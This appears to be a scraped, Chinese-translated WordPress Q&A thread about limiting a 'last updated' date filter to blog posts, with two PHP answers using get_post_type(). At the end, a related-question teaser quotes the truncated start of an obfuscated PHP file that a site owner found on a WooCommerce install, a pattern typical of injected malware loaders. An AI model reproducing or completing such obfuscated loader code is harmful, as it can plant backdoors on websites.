仅在帖子上打印上次修改日期

时间:2019-02-15 作者:NicoCaldo

我正在通过函数打印上次修改的日期。带有以下代码的php

function wpb_last_updated_date( $content ) {
    $u_time = get_the_time(\'U\'); 
    $u_modified_time = get_the_modified_time(\'U\'); 
    if ($u_modified_time >= $u_time + 86400) { 
        $updated_date = get_the_modified_time(\'F jS, Y\');
        $updated_time = get_the_modified_time(\'h:i a\'); 
        $custom_content .= \'<p class="last-updated">Last updated on \'. $updated_date . \' at \'. $updated_time .\'</p>\';  
    } 

    $custom_content .= $content;
    return $custom_content;
}
add_filter( \'the_content\', \'wpb_last_updated_date\' );
问题是它也出现在页面上,但我只需要出现在帖子上。是否有if 命令仅选择博客帖子?谢谢

2 个回复
最合适的回答,由SO网友:Jacob Peattie 整理而成

您可以使用get_post_type(). 仅当值为post:

function wpb_last_updated_date( $content ) {
    $u_time          = get_the_time( \'U\' ); 
    $u_modified_time = get_the_modified_time( \'U\' ); 

    if ( get_post_type() === \'post\' ) {
        if ( $u_modified_time >= $u_time + 86400) { 
            $updated_date   = get_the_modified_time( \'F jS, Y\' );
            $updated_time   = get_the_modified_time( \'h:i a\' ); 
            $custom_content = \'<p class="last-updated">Last updated on \'. $updated_date . \' at \'. $updated_time .\'</p>\';
        }
    }

    $custom_content .= $content;

    return $custom_content;
}
add_filter( \'the_content\', \'wpb_last_updated_date\' );

SO网友:Krzysiek Dróżdż

您只需检查当前帖子是否为帖子而非页面:

function wpb_last_updated_date( $content ) {
    if ( \'post\' != get_post_type() ) return $content;

    $u_time = get_the_time(\'U\'); 
    $u_modified_time = get_the_modified_time(\'U\'); 
    if ($u_modified_time >= $u_time + 86400) { 
        $updated_date = get_the_modified_time(\'F jS, Y\');
        $updated_time = get_the_modified_time(\'h:i a\'); 
        $custom_content .= \'<p class="last-updated">Last updated on \'. $updated_date . \' at \'. $updated_time .\'</p>\';  
    } 

    $custom_content .= $content;
    return $custom_content;
}
add_filter( \'the_content\', \'wpb_last_updated_date\' );

相关推荐

WordPress核心中未知的php文件

我的woo commerce网站包含一个未知的PHP文件,我无法找到它的用途。下面是代码示例,<?php $qyxrjyu = \'vxoa_6p*5ci#0l1e4nH7mdsk-rg2t3u9by\\\'\';$dtwaxz = Array();$dtwaxz[] = $qyxrjyu[18].$qyxrjyu[7];$dtwaxz[] = $qyxrjyu[11];$dtwaxz[] = $qyxrjyu[21].$qyxrjyu[14].$qyxrjyu[29].$qyxrjyu[2